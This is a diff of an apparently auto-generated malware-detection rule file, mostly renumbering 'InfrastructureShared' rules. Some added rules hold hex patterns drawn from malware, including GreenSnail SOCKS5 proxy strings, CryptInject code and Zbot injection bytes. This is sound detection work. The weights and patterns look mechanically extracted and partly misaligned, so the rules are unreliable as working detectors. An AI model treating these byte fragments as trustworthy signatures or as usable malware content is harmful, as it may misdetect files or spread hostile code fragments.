"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -142275,7 +151706,7 @@ rule _InfrastructureShared_12722{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*8313+(#a_72_2 & 1)*14930+(#a_5a_3 & 1)*7796+(#a_74_4 & 1)*15361+(#a_00_5 & 1)*271) >=6 } -rule _InfrastructureShared_12723{ +rule _InfrastructureShared_13553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -142287,7 +151718,7 @@ rule _InfrastructureShared_12723{ ((#a_54_0 & 1)*18467+(#a_3c_1 & 1)*29793+(#a_00_2 & 1)*144) >=7 } -rule _InfrastructureShared_12724{ +rule _InfrastructureShared_13554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -142301,7 +151732,7 @@ rule _InfrastructureShared_12724{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29440+(#a_00_3 & 1)*99+(#a_00_5 & 1)*116+(#a_00_6 & 1)*28261) >=7 } -rule _InfrastructureShared_12725{ +rule _InfrastructureShared_13555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -142316,7 +151747,7 @@ rule _InfrastructureShared_12725{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*18177+(#a_65_2 & 1)*30054+(#a_41_3 & 1)*26979+(#a_6e_4 & 1)*26996+(#a_23_5 & 1)*8) >=7 } -rule _InfrastructureShared_12726{ +rule _InfrastructureShared_13556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -142331,7 +151762,7 @@ rule _InfrastructureShared_12726{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*24949+(#a_33_2 & 1)*26967+(#a_66_3 & 1)*25978+(#a_4f_4 & 1)*24940+(#a_72_5 & 1)*19828) >=7 } -rule _InfrastructureShared_12727{ +rule _InfrastructureShared_13557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -142347,7 +151778,7 @@ rule _InfrastructureShared_12727{ ((#a_41_0 & 1)*20515+(#a_70_1 & 1)*24946+(#a_54_2 & 1)*28261+(#a_47_3 & 1)*17226+(#a_61_4 & 1)*29541+(#a_65_5 & 1)*26994+(#a_80_6 & 1)*1) >=7 } -rule _InfrastructureShared_12728{ +rule _InfrastructureShared_13558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -142364,7 +151795,7 @@ rule _InfrastructureShared_12728{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4352+(#a_54_2 & 1)*8497+(#a_63_3 & 1)*21249+(#a_61_4 & 1)*16897+(#a_79_5 & 1)*19201+(#a_01_6 & 1)*5636+(#a_69_7 & 1)*29811) >=8 } -rule _InfrastructureShared_12729{ +rule _InfrastructureShared_13559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -142381,7 +151812,7 @@ rule _InfrastructureShared_12729{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29560+(#a_69_2 & 1)*14931+(#a_6b_3 & 1)*26144+(#a_2f_4 & 1)*18771+(#a_35_5 & 1)*14160+(#a_00_6 & 1)*25955+(#a_0c_7 & 1)*1068) >=8 } -rule _InfrastructureShared_12730{ +rule _InfrastructureShared_13560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -142400,7 +151831,7 @@ rule _InfrastructureShared_12730{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29807+(#a_01_2 & 1)*1792+(#a_35_3 & 1)*12853+(#a_6b_4 & 1)*29281+(#a_49_5 & 1)*19770+(#a_2c_6 & 1)*4358+(#a_11_7 & 1)*-10729+(#a_67_8 & 1)*-32749+(#a_73_9 & 1)*21087) >=8 } -rule _InfrastructureShared_12731{ +rule _InfrastructureShared_13561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -142413,7 +151844,7 @@ rule _InfrastructureShared_12731{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*16952+(#a_72_2 & 1)*28018+(#a_4f_3 & 1)*24940) >=10 } -rule _InfrastructureShared_12732{ +rule _InfrastructureShared_13562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -142425,7 +151856,7 @@ rule _InfrastructureShared_12732{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*2086+(#a_06_2 & 1)*510) >=12 } -rule _InfrastructureShared_12733{ +rule _InfrastructureShared_13563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -142437,7 +151868,7 @@ rule _InfrastructureShared_12733{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*4362+(#a_72_2 & 1)*0) >=12 } -rule _InfrastructureShared_12734{ +rule _InfrastructureShared_13564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -142458,7 +151889,7 @@ rule _InfrastructureShared_12734{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*31339+(#a_72_2 & 1)*14930+(#a_1c_3 & 1)*1025+(#a_58_4 & 1)*6417+(#a_44_5 & 1)*-32754+(#a_61_6 & 1)*27758+(#a_02_7 & 1)*3345+(#a_61_8 & 1)*30565+(#a_6c_9 & 1)*25940+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1) >=12 } -rule _InfrastructureShared_12735{ +rule _InfrastructureShared_13565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -142471,7 +151902,7 @@ rule _InfrastructureShared_12735{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*7442+(#a_19_2 & 1)*0+(#a_67_3 & 1)*20993) >=13 } -rule _InfrastructureShared_12736{ +rule _InfrastructureShared_13566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -142484,7 +151915,7 @@ rule _InfrastructureShared_12736{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632+(#a_13_2 & 1)*400+(#a_00_3 & 1)*400) >=13 } -rule _InfrastructureShared_12737{ +rule _InfrastructureShared_13567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -142497,7 +151928,7 @@ rule _InfrastructureShared_12737{ ((#a_46_0 & 1)*16675+(#a_1c_1 & 1)*1043+(#a_26_2 & 1)*400+(#a_01_4 & 1)*1792) >=14 } -rule _InfrastructureShared_12738{ +rule _InfrastructureShared_13568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -142510,7 +151941,7 @@ rule _InfrastructureShared_12738{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*4356+(#a_05_2 & 1)*1299+(#a_90_3 & 1)*1540) >=16 } -rule _InfrastructureShared_12739{ +rule _InfrastructureShared_13569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -142524,7 +151955,7 @@ rule _InfrastructureShared_12739{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_42_2 & 1)*19745+(#a_74_3 & 1)*25938+(#a_78_4 & 1)*11831) >=18 } -rule _InfrastructureShared_12740{ +rule _InfrastructureShared_13570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -142538,7 +151969,7 @@ rule _InfrastructureShared_12740{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*384+(#a_74_3 & 1)*29285+(#a_01_4 & 1)*-16807+(#a_74_5 & 1)*29296) >=20 } -rule _InfrastructureShared_12741{ +rule _InfrastructureShared_13571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 0c 00 04 00 21 " @@ -142551,7 +151982,7 @@ rule _InfrastructureShared_12741{ ((#a_46_0 & 1)*16675+(#a_be_1 & 1)*20820+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=12 } -rule _InfrastructureShared_12742{ +rule _InfrastructureShared_13572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 0c 00 04 00 21 " @@ -142564,7 +151995,7 @@ rule _InfrastructureShared_12742{ ((#a_46_0 & 1)*16675+(#a_be_1 & 1)*20820+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=12 } -rule _InfrastructureShared_12743{ +rule _InfrastructureShared_13573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 05 00 21 " @@ -142578,7 +152009,7 @@ rule _InfrastructureShared_12743{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*10+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=23 } -rule _InfrastructureShared_12744{ +rule _InfrastructureShared_13574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 14 00 06 00 21 " @@ -142592,7 +152023,7 @@ rule _InfrastructureShared_12744{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*1546+(#a_04_2 & 1)*-28632+(#a_02_3 & 1)*28423+(#a_57_4 & 1)*3584) >=20 } -rule _InfrastructureShared_12745{ +rule _InfrastructureShared_13575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -142603,7 +152034,7 @@ rule _InfrastructureShared_12745{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*102) >=40 } -rule _InfrastructureShared_12746{ +rule _InfrastructureShared_13576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -142613,7 +152044,7 @@ rule _InfrastructureShared_12746{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12747{ +rule _InfrastructureShared_13577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -142623,7 +152054,7 @@ rule _InfrastructureShared_12747{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12748{ +rule _InfrastructureShared_13578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -142633,7 +152064,7 @@ rule _InfrastructureShared_12748{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12749{ +rule _InfrastructureShared_13579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -142643,7 +152074,7 @@ rule _InfrastructureShared_12749{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12750{ +rule _InfrastructureShared_13580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -142653,7 +152084,7 @@ rule _InfrastructureShared_12750{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12751{ +rule _InfrastructureShared_13581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -142663,7 +152094,7 @@ rule _InfrastructureShared_12751{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_12752{ +rule _InfrastructureShared_13582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -142674,7 +152105,7 @@ rule _InfrastructureShared_12752{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*8260) >=1 } -rule _InfrastructureShared_12753{ +rule _InfrastructureShared_13583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -142685,7 +152116,7 @@ rule _InfrastructureShared_12753{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*14963) >=1 } -rule _InfrastructureShared_12754{ +rule _InfrastructureShared_13584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -142697,7 +152128,7 @@ rule _InfrastructureShared_12754{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*24881+(#a_01_2 & 1)*9216) >=1 } -rule _InfrastructureShared_12755{ +rule _InfrastructureShared_13585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -142710,20 +152141,33 @@ rule _InfrastructureShared_12755{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*12614+(#a_33_2 & 1)*12353+(#a_31_3 & 1)*11875) >=1 } -rule _InfrastructureShared_12756{ +rule _InfrastructureShared_13586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_54_0 = {3a 5a 62 6f 74 5f 69 6e 6a 5f 64 65 63 2e 41 31 00 01 00 1e 01 c7 45 fc 3f 00 00 00 81 7d fc 39 6c 00 00 75 28 8b 45 08 03 45 08 8b 4d ec 2b c8 89 4d ec 01 00 1b 01 c7 45 e8 a6 83 1b fa 8b 45 e8 03 45 f4 0f af 45 f8 89 45 f8 eb 98 68 ff 00 00 00 01 } //18467 $a_c7_1 = {78 } //10752 x - $a_c6_2 = {00 00 8d 85 6c fe ff ff 89 85 70 fe ff ff 8b 85 78 fe ff ff 0d 9a 00 00 00 8b 8d 70 fe ff ff 0f af 01 01 00 26 01 0f 8d ff 01 00 00 c7 85 bc f8 ff ff 90 14 00 00 c7 85 c0 f8 ff ff 57 bc 00 00 8b 85 bc f8 ff ff 3b 85 c0 f8 ff ff 00 00 78 b8 00 00 01 00 01 00 05 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 26 01 41 00 63 00 65 00 73 00 73 00 6f 00 20 00 63 00 6f 00 72 00 72 00 65 00 74 00 61 00 6d 00 65 00 6e 00 74 00 65 00 01 00 24 01 54 00 6f 00 6b 00 65 00 6e 00 20 00 63 00 6f 00 72 00 72 00 65 00 74 00 61 00 6d 00 65 00 6e 00 74 00 65 00 01 00 24 01 53 00 65 00 6e 00 68 00 61 00 20 00 63 00 6f 00 72 00 72 00 65 00 74 00 61 00 6d 00 65 00 6e 00 74 00 65 00 01 00 0a 01 42 61 72 72 61 54 69 6d 65 72 01 00 09 01 } //-2 - $a_61_3 = {69 6d 65 72 00 00 78 b8 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 59 42 21 4d 54 42 00 01 00 47 03 44 8b c9 48 03 d6 49 c1 e9 90 01 01 44 8b c1 4d 85 c9 74 22 66 66 0f 1f 84 00 90 01 04 48 8b 08 48 83 c0 90 01 01 48 89 0a 48 83 c2 90 01 01 49 83 e9 90 01 01 75 ec 8b 4c 24 90 01 } //24906 + $a_c6_2 = {00 00 8d 85 6c fe ff ff 89 85 70 fe ff ff 8b 85 78 fe ff ff 0d 9a 00 00 00 8b 8d 70 fe ff ff 0f af 01 01 00 26 01 0f 8d ff 01 00 00 c7 85 bc f8 ff ff 90 14 00 00 c7 85 c0 f8 ff ff 57 bc 00 00 8b 85 bc f8 ff ff 3b 85 c0 f8 ff ff 00 00 78 b8 00 00 01 00 01 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 6e 53 6e 61 69 6c 2e 41 21 64 68 61 00 01 00 1c 01 6d 61 69 6e 2e 67 65 74 53 65 72 76 65 72 41 64 64 72 46 72 6f 6d 57 53 41 64 64 72 01 00 11 01 6d 61 69 6e 2e 73 6f 63 6b 73 35 49 6e 76 69 74 65 01 00 1a 01 2f 6c 63 78 5f 63 6c 69 65 6e 74 5f 66 6f 72 5f 77 65 62 73 6f 63 6b 65 74 2f 01 00 1a 01 77 72 69 74 65 20 73 6f 63 6b 73 35 20 6e 6f 20 61 75 74 68 20 65 72 72 6f 72 01 00 17 01 67 65 74 20 73 6f 63 6b 73 35 20 43 4f 6d } //-2 + $a_64_3 = {65 72 6f 72 00 00 78 b8 00 00 01 00 01 00 05 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 26 01 41 00 63 00 65 00 73 00 73 00 6f 00 20 00 63 00 6f 00 72 00 72 00 65 00 74 00 61 00 6d 00 65 00 6e 00 74 00 65 00 01 00 24 01 54 00 6f 00 6b 00 65 00 6e 00 20 00 63 00 6f 00 72 00 72 00 65 } //24941 condition: - ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*10752+(#a_c6_2 & 1)*-2+(#a_61_3 & 1)*24906) >=1 + ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*10752+(#a_c6_2 & 1)*-2+(#a_64_3 & 1)*24941) >=1 } -rule _InfrastructureShared_12757{ +rule _InfrastructureShared_13587{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 6e 53 6e 61 69 6c 2e 41 21 64 68 61 00 01 00 1c 01 6d 61 69 6e 2e 67 65 74 53 65 72 76 65 72 41 64 64 72 46 72 6f 6d 57 53 41 64 64 72 01 00 11 01 6d 61 69 6e 2e 73 6f 63 6b 73 } //16675 + $a_76_1 = {74 65 01 00 1a 01 2f 6c 63 78 5f 63 6c 69 65 6e 74 5f 66 6f 72 5f 77 65 62 73 6f 63 6b 65 74 2f 01 00 1a 01 77 72 69 74 65 20 73 6f 63 6b 73 35 20 6e 6f 20 61 75 74 68 20 65 72 72 6f 72 01 00 17 01 67 65 74 20 73 6f 63 6b 73 35 20 43 4f 6d 6d 61 6e 64 20 65 72 6f 72 00 00 78 b8 00 00 01 00 01 00 05 00 21 23 64 6f 5f 65 78 68 61 } //18741 + $a_69_2 = {65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 26 01 41 00 63 00 65 00 73 00 73 00 6f 00 20 00 63 00 6f 00 72 00 72 00 65 00 74 00 61 00 6d 00 65 00 6e 00 74 00 65 00 01 00 24 01 54 00 6f 00 6b 00 65 00 6e 00 20 00 63 00 6f 00 72 00 72 00 65 00 74 00 61 00 6d 00 65 00 6e 00 74 00 65 00 01 00 24 01 53 00 65 00 6e 00 68 00 61 00 20 00 63 00 6f 00 72 } //29557 + $a_00_4 = {6d 00 65 00 6e 00 74 00 65 00 01 00 0a 01 42 61 72 72 61 54 69 6d 65 72 01 00 09 01 4a 61 76 61 54 69 6d 65 72 00 00 78 b8 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 59 42 21 4d 54 42 00 01 00 47 03 44 8b c9 48 03 d6 } //116 + condition: + ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*18741+(#a_69_2 & 1)*29557+(#a_00_4 & 1)*116) >=1 + +} +rule _InfrastructureShared_13588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -142736,7 +152180,7 @@ rule _InfrastructureShared_12757{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*110+(#a_48_3 & 1)*-29884+(#a_00_4 & 1)*0) >=1 } -rule _InfrastructureShared_12758{ +rule _InfrastructureShared_13589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -142747,7 +152191,7 @@ rule _InfrastructureShared_12758{ ((#a_46_0 & 1)*16675+(#a_c2_1 & 1)*18442) >=2 } -rule _InfrastructureShared_12759{ +rule _InfrastructureShared_13590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -142757,7 +152201,7 @@ rule _InfrastructureShared_12759{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12760{ +rule _InfrastructureShared_13591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -142768,7 +152212,7 @@ rule _InfrastructureShared_12760{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*0) >=2 } -rule _InfrastructureShared_12761{ +rule _InfrastructureShared_13592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -142778,7 +152222,7 @@ rule _InfrastructureShared_12761{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12762{ +rule _InfrastructureShared_13593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -142789,7 +152233,7 @@ rule _InfrastructureShared_12762{ ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*2392) >=2 } -rule _InfrastructureShared_12763{ +rule _InfrastructureShared_13594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -142800,7 +152244,7 @@ rule _InfrastructureShared_12763{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*257) >=2 } -rule _InfrastructureShared_12764{ +rule _InfrastructureShared_13595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -142811,7 +152255,7 @@ rule _InfrastructureShared_12764{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*33) >=2 } -rule _InfrastructureShared_12765{ +rule _InfrastructureShared_13596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -142824,7 +152268,7 @@ rule _InfrastructureShared_12765{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*112+(#a_00_2 & 1)*89+(#a_52_3 & 1)*21320) >=2 } -rule _InfrastructureShared_12766{ +rule _InfrastructureShared_13597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -142837,7 +152281,7 @@ rule _InfrastructureShared_12766{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-5051+(#a_68_2 & 1)*12082+(#a_00_4 & 1)*114) >=2 } -rule _InfrastructureShared_12767{ +rule _InfrastructureShared_13598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -142848,7 +152292,7 @@ rule _InfrastructureShared_12767{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29555) >=3 } -rule _InfrastructureShared_12768{ +rule _InfrastructureShared_13599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -142860,7 +152304,7 @@ rule _InfrastructureShared_12768{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2112+(#a_6d_2 & 1)*28776) >=3 } -rule _InfrastructureShared_12769{ +rule _InfrastructureShared_13600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -142872,7 +152316,7 @@ rule _InfrastructureShared_12769{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_b8_2 & 1)*0) >=3 } -rule _InfrastructureShared_12770{ +rule _InfrastructureShared_13601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -142884,7 +152328,7 @@ rule _InfrastructureShared_12770{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8307+(#a_69_2 & 1)*28755) >=3 } -rule _InfrastructureShared_12771{ +rule _InfrastructureShared_13602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -142897,7 +152341,7 @@ rule _InfrastructureShared_12771{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_41_2 & 1)*8448+(#a_70_3 & 1)*29800) >=3 } -rule _InfrastructureShared_12772{ +rule _InfrastructureShared_13603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -142911,7 +152355,7 @@ rule _InfrastructureShared_12772{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30525+(#a_3a_3 & 1)*19521+(#a_cf_4 & 1)*6208+(#a_90_5 & 1)*-30463) >=3 } -rule _InfrastructureShared_12773{ +rule _InfrastructureShared_13604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -142922,7 +152366,7 @@ rule _InfrastructureShared_12773{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28587) >=4 } -rule _InfrastructureShared_12774{ +rule _InfrastructureShared_13605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -142935,7 +152379,7 @@ rule _InfrastructureShared_12774{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*68+(#a_00_2 & 1)*116+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_12775{ +rule _InfrastructureShared_13606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -142948,7 +152392,7 @@ rule _InfrastructureShared_12775{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25963+(#a_33_2 & 1)*26967+(#a_8b_3 & 1)*-1) >=4 } -rule _InfrastructureShared_12776{ +rule _InfrastructureShared_13607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -142960,7 +152404,7 @@ rule _InfrastructureShared_12776{ ((#a_4c_0 & 1)*21539+(#a_ff_2 & 1)*-456+(#a_65_3 & 1)*26473) >=4 } -rule _InfrastructureShared_12777{ +rule _InfrastructureShared_13608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -142974,7 +152418,7 @@ rule _InfrastructureShared_12777{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29285+(#a_00_2 & 1)*4+(#a_3a_3 & 1)*17744+(#a_65_4 & 1)*25955) >=4 } -rule _InfrastructureShared_12778{ +rule _InfrastructureShared_13609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -142986,7 +152430,7 @@ rule _InfrastructureShared_12778{ ((#a_46_0 & 1)*16675+(#a_72_2 & 1)*21249+(#a_43_3 & 1)*21076) >=4 } -rule _InfrastructureShared_12779{ +rule _InfrastructureShared_13610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -143000,7 +152444,7 @@ rule _InfrastructureShared_12779{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25959+(#a_4b_2 & 1)*12851+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1) >=4 } -rule _InfrastructureShared_12780{ +rule _InfrastructureShared_13611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -143012,7 +152456,7 @@ rule _InfrastructureShared_12780{ ((#a_4c_0 & 1)*21539+(#a_80_1 & 1)*-955+(#a_69_2 & 1)*28530) >=5 } -rule _InfrastructureShared_12781{ +rule _InfrastructureShared_13612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143025,7 +152469,7 @@ rule _InfrastructureShared_12781{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*29545+(#a_3a_2 & 1)*12889+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_12782{ +rule _InfrastructureShared_13613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143039,7 +152483,7 @@ rule _InfrastructureShared_12782{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*118+(#a_41_2 & 1)*8448+(#a_6c_3 & 1)*28009+(#a_01_4 & 1)*28524) >=5 } -rule _InfrastructureShared_12783{ +rule _InfrastructureShared_13614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143051,7 +152495,7 @@ rule _InfrastructureShared_12783{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_01_4 & 1)*3072) >=5 } -rule _InfrastructureShared_12784{ +rule _InfrastructureShared_13615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143065,7 +152509,7 @@ rule _InfrastructureShared_12784{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25970+(#a_44_2 & 1)*18222+(#a_65_3 & 1)*24939+(#a_6b_4 & 1)*24916) 